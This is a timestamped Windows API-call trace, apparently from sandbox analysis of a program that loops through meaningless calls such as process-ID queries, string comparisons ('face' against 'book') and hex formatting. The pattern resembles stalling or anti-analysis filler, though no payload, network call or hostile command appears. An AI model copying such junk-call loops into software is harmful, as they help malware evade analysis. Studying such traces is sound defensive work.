[0041.642] GetCurrentProcessId () returned 0x81c [0041.642] GetCurrentProcessId () returned 0x81c [0041.642] GetCurrentProcessId () returned 0x81c [0041.643] lstrlenA (lpString="just string") returned 11 [0041.643] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.643] GetLastError () returned 0x57 [0041.643] GetLastError () returned 0x57 [0041.643] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.643] SetLastError (dwErrCode=0x57) [0041.643] GetCurrentProcess () returned 0xffffffff [0041.643] GetLastError () returned 0x57 [0041.643] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1300P") returned 5 [0041.643] SetLastError (dwErrCode=0x57) [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] GetCurrentProcess () returned 0xffffffff [0041.643] GetLastError () returned 0x57 [0041.643] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1301P") returned 5 [0041.643] SetLastError (dwErrCode=0x57) [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] GetLastError () returned 0x57 [0041.643] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1302P") returned 5 [0041.643] SetLastError (dwErrCode=0x57) [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] lstrlenA (lpString="just string") returned 11 [0041.643] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.643] GetLastError () returned 0x57 [0041.643] GetLastError () returned 0x57 [0041.643] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1316P") returned 5 [0041.643] SetLastError (dwErrCode=0x57) [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] lstrlenA (lpString="just string") returned 11 [0041.643] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.643] GetLastError () returned 0x57 [0041.643] GetLastError () returned 0x57 [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] lstrlenA (lpString="just string") returned 11 [0041.643] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.643] GetLastError () returned 0x57 [0041.643] GetCurrentProcess () returned 0xffffffff [0041.643] GetLastError () returned 0x57 [0041.643] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1383P") returned 5 [0041.643] SetLastError (dwErrCode=0x57) [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] GetLastError () returned 0x57 [0041.643] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1384P") returned 5 [0041.643] SetLastError (dwErrCode=0x57) [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] GetCurrentProcessId () returned 0x81c [0041.643] lstrlenA (lpString="just string") returned 11 [0041.643] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.643] GetLastError () returned 0x57 [0041.643] GetLastError () returned 0x57 [0041.643] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.644] SetLastError (dwErrCode=0x57) [0041.644] GetCurrentProcess () returned 0xffffffff [0041.644] GetLastError () returned 0x57 [0041.644] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1396P") returned 5 [0041.644] SetLastError (dwErrCode=0x57) [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] GetCurrentProcess () returned 0xffffffff [0041.644] GetLastError () returned 0x57 [0041.644] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1397P") returned 5 [0041.644] SetLastError (dwErrCode=0x57) [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] GetLastError () returned 0x57 [0041.644] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1398P") returned 5 [0041.644] SetLastError (dwErrCode=0x57) [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] lstrlenA (lpString="just string") returned 11 [0041.644] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.644] GetLastError () returned 0x57 [0041.644] GetLastError () returned 0x57 [0041.644] GetCurrentProcess () returned 0xffffffff [0041.644] GetLastError () returned 0x57 [0041.644] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="13C9P") returned 5 [0041.644] SetLastError (dwErrCode=0x57) [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] GetLastError () returned 0x57 [0041.644] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="13CAP") returned 5 [0041.644] SetLastError (dwErrCode=0x57) [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] lstrlenA (lpString="just string") returned 11 [0041.644] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.644] GetLastError () returned 0x57 [0041.644] lstrlenA (lpString="just string") returned 11 [0041.644] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.644] GetLastError () returned 0x57 [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] lstrlenA (lpString="just string") returned 11 [0041.644] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.644] GetLastError () returned 0x57 [0041.644] GetLastError () returned 0x57 [0041.644] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.644] SetLastError (dwErrCode=0x57) [0041.644] GetCurrentProcess () returned 0xffffffff [0041.644] GetLastError () returned 0x57 [0041.644] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1468P") returned 5 [0041.644] SetLastError (dwErrCode=0x57) [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] GetCurrentProcess () returned 0xffffffff [0041.644] GetLastError () returned 0x57 [0041.644] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1469P") returned 5 [0041.644] SetLastError (dwErrCode=0x57) [0041.644] GetCurrentProcessId () returned 0x81c [0041.644] GetLastError () returned 0x57 [0041.645] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="146AP") returned 5 [0041.645] SetLastError (dwErrCode=0x57) [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] lstrlenA (lpString="just string") returned 11 [0041.645] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.645] GetLastError () returned 0x57 [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] lstrlenA (lpString="just string") returned 11 [0041.645] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.645] GetLastError () returned 0x57 [0041.645] GetCurrentProcess () returned 0xffffffff [0041.645] GetLastError () returned 0x57 [0041.645] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="14AFP") returned 5 [0041.645] SetLastError (dwErrCode=0x57) [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetLastError () returned 0x57 [0041.645] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="14B0P") returned 5 [0041.645] SetLastError (dwErrCode=0x57) [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] lstrlenA (lpString="just string") returned 11 [0041.645] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.645] GetLastError () returned 0x57 [0041.645] GetLastError () returned 0x57 [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] lstrlenA (lpString="just string") returned 11 [0041.645] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.645] GetLastError () returned 0x57 [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] lstrlenA (lpString="just string") returned 11 [0041.645] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.645] GetLastError () returned 0x57 [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] lstrlenA (lpString="just string") returned 11 [0041.645] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.645] GetLastError () returned 0x57 [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] lstrlenA (lpString="just string") returned 11 [0041.645] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.645] GetLastError () returned 0x57 [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] GetCurrentProcessId () returned 0x81c [0041.645] lstrlenA (lpString="just string") returned 11 [0041.645] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.645] GetLastError () returned 0x57 [0041.645] GetLastError () returned 0x57 [0041.645] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.645] SetLastError (dwErrCode=0x57) [0041.645] GetCurrentProcess () returned 0xffffffff [0041.646] GetLastError () returned 0x57 [0041.646] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="156CP") returned 5 [0041.646] SetLastError (dwErrCode=0x57) [0041.646] GetCurrentProcessId () returned 0x81c [0041.646] GetCurrentProcess () returned 0xffffffff [0041.646] GetLastError () returned 0x57 [0041.646] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="156DP") returned 5 [0041.646] SetLastError (dwErrCode=0x57) [0041.646] GetCurrentProcessId () returned 0x81c [0041.646] GetLastError () returned 0x57 [0041.646] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="156EP") returned 5 [0041.646] SetLastError (dwErrCode=0x57) [0041.646] GetCurrentProcessId () returned 0x81c [0041.646] GetCurrentProcessId () returned 0x81c [0041.646] GetCurrentProcessId () returned 0x81c [0041.646] GetCurrentProcessId () returned 0x81c [0041.646] lstrlenA (lpString="just string") returned 11 [0041.646] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.646] GetLastError () returned 0x57 [0041.646] GetLastError () returned 0x57 [0041.646] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.646] SetLastError (dwErrCode=0x57) [0041.646] GetCurrentProcess () returned 0xffffffff [0041.646] GetLastError () returned 0x57 [0041.646] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="158AP") returned 5 [0041.646] SetLastError (dwErrCode=0x57) [0041.646] GetCurrentProcessId () returned 0x81c [0041.646] GetCurrentProcess () returned 0xffffffff [0041.646] GetLastError () returned 0x57 [0041.646] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="158BP") returned 5 [0041.646] SetLastError (dwErrCode=0x57) [0041.646] GetCurrentProcessId () returned 0x81c [0041.646] GetLastError () returned 0x57 [0041.646] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="158CP") returned 5 [0041.646] SetLastError (dwErrCode=0x57) [0041.646] GetCurrentProcessId () returned 0x81c [0041.646] GetCurrentProcessId () returned 0x81c [0041.646] GetCurrentProcessId () returned 0x81c [0041.646] GetCurrentProcessId () returned 0x81c [0041.646] lstrlenA (lpString="just string") returned 11 [0041.646] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.646] GetLastError () returned 0x57 [0041.646] GetCurrentProcess () returned 0xffffffff [0041.646] GetLastError () returned 0x57 [0041.646] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="15B3P") returned 5 [0041.646] SetLastError (dwErrCode=0x57) [0041.646] GetCurrentProcessId () returned 0x81c [0041.646] GetLastError () returned 0x57 [0041.646] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="15B4P") returned 5 [0041.646] SetLastError (dwErrCode=0x57) [0041.648] GetCurrentProcessId () returned 0x81c [0041.648] GetCurrentProcessId () returned 0x81c [0041.648] GetCurrentProcessId () returned 0x81c [0041.648] GetCurrentProcessId () returned 0x81c [0041.648] lstrlenA (lpString="just string") returned 11 [0041.648] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.648] GetLastError () returned 0x57 [0041.648] lstrlenA (lpString="just string") returned 11 [0041.648] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.648] GetLastError () returned 0x57 [0041.648] GetLastError () returned 0x57 [0041.648] GetCurrentProcess () returned 0xffffffff [0041.648] GetLastError () returned 0x57 [0041.648] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1617P") returned 5 [0041.648] SetLastError (dwErrCode=0x57) [0041.648] GetCurrentProcessId () returned 0x81c [0041.648] GetLastError () returned 0x57 [0041.648] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1618P") returned 5 [0041.648] SetLastError (dwErrCode=0x57) [0041.648] GetCurrentProcessId () returned 0x81c [0041.648] GetCurrentProcessId () returned 0x81c [0041.648] GetCurrentProcessId () returned 0x81c [0041.648] GetCurrentProcessId () returned 0x81c [0041.648] lstrlenA (lpString="just string") returned 11 [0041.648] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.648] GetLastError () returned 0x57 [0041.648] GetCurrentProcess () returned 0xffffffff [0041.648] GetLastError () returned 0x57 [0041.648] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1621P") returned 5 [0041.648] SetLastError (dwErrCode=0x57) [0041.648] GetCurrentProcessId () returned 0x81c [0041.648] GetLastError () returned 0x57 [0041.648] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1622P") returned 5 [0041.649] SetLastError (dwErrCode=0x57) [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] lstrlenA (lpString="just string") returned 11 [0041.649] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.649] GetLastError () returned 0x57 [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] lstrlenA (lpString="just string") returned 11 [0041.649] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.649] GetLastError () returned 0x57 [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] lstrlenA (lpString="just string") returned 11 [0041.649] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.649] GetLastError () returned 0x57 [0041.649] GetLastError () returned 0x57 [0041.649] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.649] SetLastError (dwErrCode=0x57) [0041.649] GetCurrentProcess () returned 0xffffffff [0041.649] GetLastError () returned 0x57 [0041.649] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="16A2P") returned 5 [0041.649] SetLastError (dwErrCode=0x57) [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcess () returned 0xffffffff [0041.649] GetLastError () returned 0x57 [0041.649] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="16A3P") returned 5 [0041.649] SetLastError (dwErrCode=0x57) [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetLastError () returned 0x57 [0041.649] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="16A4P") returned 5 [0041.649] SetLastError (dwErrCode=0x57) [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] lstrlenA (lpString="just string") returned 11 [0041.649] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.649] GetLastError () returned 0x57 [0041.649] GetCurrentProcess () returned 0xffffffff [0041.649] GetLastError () returned 0x57 [0041.649] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="16B7P") returned 5 [0041.649] SetLastError (dwErrCode=0x57) [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetLastError () returned 0x57 [0041.649] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="16B8P") returned 5 [0041.649] SetLastError (dwErrCode=0x57) [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] lstrlenA (lpString="just string") returned 11 [0041.649] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.649] GetLastError () returned 0x57 [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] GetCurrentProcessId () returned 0x81c [0041.649] lstrlenA (lpString="just string") returned 11 [0041.650] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.650] GetLastError () returned 0x57 [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] lstrlenA (lpString="just string") returned 11 [0041.650] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.650] GetLastError () returned 0x57 [0041.650] GetLastError () returned 0x57 [0041.650] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.650] SetLastError (dwErrCode=0x57) [0041.650] GetCurrentProcess () returned 0xffffffff [0041.650] GetLastError () returned 0x57 [0041.650] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1742P") returned 5 [0041.650] SetLastError (dwErrCode=0x57) [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] GetCurrentProcess () returned 0xffffffff [0041.650] GetLastError () returned 0x57 [0041.650] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1743P") returned 5 [0041.650] SetLastError (dwErrCode=0x57) [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] GetLastError () returned 0x57 [0041.650] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1744P") returned 5 [0041.650] SetLastError (dwErrCode=0x57) [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] lstrlenA (lpString="just string") returned 11 [0041.650] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.650] GetLastError () returned 0x57 [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] lstrlenA (lpString="just string") returned 11 [0041.650] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.650] GetLastError () returned 0x57 [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] lstrlenA (lpString="just string") returned 11 [0041.650] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.650] GetLastError () returned 0x57 [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] lstrlenA (lpString="just string") returned 11 [0041.650] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.650] GetLastError () returned 0x57 [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] GetCurrentProcessId () returned 0x81c [0041.650] lstrlenA (lpString="just string") returned 11 [0041.650] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.650] GetLastError () returned 0x57 [0041.650] GetLastError () returned 0x57 [0041.650] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.650] SetLastError (dwErrCode=0x57) [0041.650] GetCurrentProcess () returned 0xffffffff [0041.650] GetLastError () returned 0x57 [0041.650] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="17F6P") returned 5 [0041.650] SetLastError (dwErrCode=0x57) [0041.650] GetCurrentProcessId () returned 0x81c [0041.651] GetCurrentProcess () returned 0xffffffff [0041.651] GetLastError () returned 0x57 [0041.651] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="17F7P") returned 5 [0041.651] SetLastError (dwErrCode=0x57) [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] GetLastError () returned 0x57 [0041.651] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="17F8P") returned 5 [0041.651] SetLastError (dwErrCode=0x57) [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] lstrlenA (lpString="just string") returned 11 [0041.651] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.651] GetLastError () returned 0x57 [0041.651] lstrlenA (lpString="just string") returned 11 [0041.651] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.651] GetLastError () returned 0x57 [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] lstrlenA (lpString="just string") returned 11 [0041.651] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.651] GetLastError () returned 0x57 [0041.651] lstrlenA (lpString="just string") returned 11 [0041.651] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.651] GetLastError () returned 0x57 [0041.651] GetLastError () returned 0x57 [0041.651] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.651] SetLastError (dwErrCode=0x57) [0041.651] GetCurrentProcess () returned 0xffffffff [0041.651] GetLastError () returned 0x57 [0041.651] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="18BEP") returned 5 [0041.651] SetLastError (dwErrCode=0x57) [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] GetCurrentProcess () returned 0xffffffff [0041.651] GetLastError () returned 0x57 [0041.651] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="18BFP") returned 5 [0041.651] SetLastError (dwErrCode=0x57) [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] GetLastError () returned 0x57 [0041.651] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="18C0P") returned 5 [0041.651] SetLastError (dwErrCode=0x57) [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] lstrlenA (lpString="just string") returned 11 [0041.651] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.651] GetLastError () returned 0x57 [0041.651] GetLastError () returned 0x57 [0041.651] GetLastError () returned 0x57 [0041.651] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="18FCP") returned 5 [0041.651] SetLastError (dwErrCode=0x57) [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] GetCurrentProcessId () returned 0x81c [0041.651] lstrlenA (lpString="just string") returned 11 [0041.651] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.651] GetLastError () returned 0x57 [0041.651] GetCurrentProcessId () returned 0x81c [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] lstrlenA (lpString="just string") returned 11 [0041.652] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.652] GetLastError () returned 0x57 [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] lstrlenA (lpString="just string") returned 11 [0041.652] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.652] GetLastError () returned 0x57 [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] lstrlenA (lpString="just string") returned 11 [0041.652] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.652] GetLastError () returned 0x57 [0041.652] GetLastError () returned 0x57 [0041.652] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.652] SetLastError (dwErrCode=0x57) [0041.652] GetCurrentProcess () returned 0xffffffff [0041.652] GetLastError () returned 0x57 [0041.652] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="19B8P") returned 5 [0041.652] SetLastError (dwErrCode=0x57) [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] GetCurrentProcess () returned 0xffffffff [0041.652] GetLastError () returned 0x57 [0041.652] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="19B9P") returned 5 [0041.652] SetLastError (dwErrCode=0x57) [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] GetLastError () returned 0x57 [0041.652] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="19BAP") returned 5 [0041.652] SetLastError (dwErrCode=0x57) [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] lstrlenA (lpString="just string") returned 11 [0041.652] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.652] GetLastError () returned 0x57 [0041.652] GetLastError () returned 0x57 [0041.652] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="19ECP") returned 5 [0041.652] SetLastError (dwErrCode=0x57) [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] lstrlenA (lpString="just string") returned 11 [0041.652] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.652] GetLastError () returned 0x57 [0041.652] GetLastError () returned 0x57 [0041.652] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.652] SetLastError (dwErrCode=0x57) [0041.652] GetCurrentProcess () returned 0xffffffff [0041.652] GetLastError () returned 0x57 [0041.652] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1A08P") returned 5 [0041.652] SetLastError (dwErrCode=0x57) [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] GetCurrentProcess () returned 0xffffffff [0041.652] GetLastError () returned 0x57 [0041.652] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1A09P") returned 5 [0041.652] SetLastError (dwErrCode=0x57) [0041.652] GetCurrentProcessId () returned 0x81c [0041.652] GetLastError () returned 0x57 [0041.653] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1A0AP") returned 5 [0041.653] SetLastError (dwErrCode=0x57) [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] lstrlenA (lpString="just string") returned 11 [0041.653] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.653] GetLastError () returned 0x57 [0041.653] GetLastError () returned 0x57 [0041.653] GetLastError () returned 0x57 [0041.653] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.653] SetLastError (dwErrCode=0x57) [0041.653] GetCurrentProcess () returned 0xffffffff [0041.653] GetLastError () returned 0x57 [0041.653] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1A58P") returned 5 [0041.653] SetLastError (dwErrCode=0x57) [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] GetCurrentProcess () returned 0xffffffff [0041.653] GetLastError () returned 0x57 [0041.653] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1A59P") returned 5 [0041.653] SetLastError (dwErrCode=0x57) [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] GetLastError () returned 0x57 [0041.653] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1A5AP") returned 5 [0041.653] SetLastError (dwErrCode=0x57) [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] lstrlenA (lpString="just string") returned 11 [0041.653] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.653] GetLastError () returned 0x57 [0041.653] GetLastError () returned 0x57 [0041.653] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.653] SetLastError (dwErrCode=0x57) [0041.653] GetCurrentProcess () returned 0xffffffff [0041.653] GetLastError () returned 0x57 [0041.653] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1A94P") returned 5 [0041.653] SetLastError (dwErrCode=0x57) [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] GetCurrentProcess () returned 0xffffffff [0041.653] GetLastError () returned 0x57 [0041.653] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1A95P") returned 5 [0041.653] SetLastError (dwErrCode=0x57) [0041.653] GetCurrentProcessId () returned 0x81c [0041.653] GetLastError () returned 0x57 [0041.653] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1A96P") returned 5 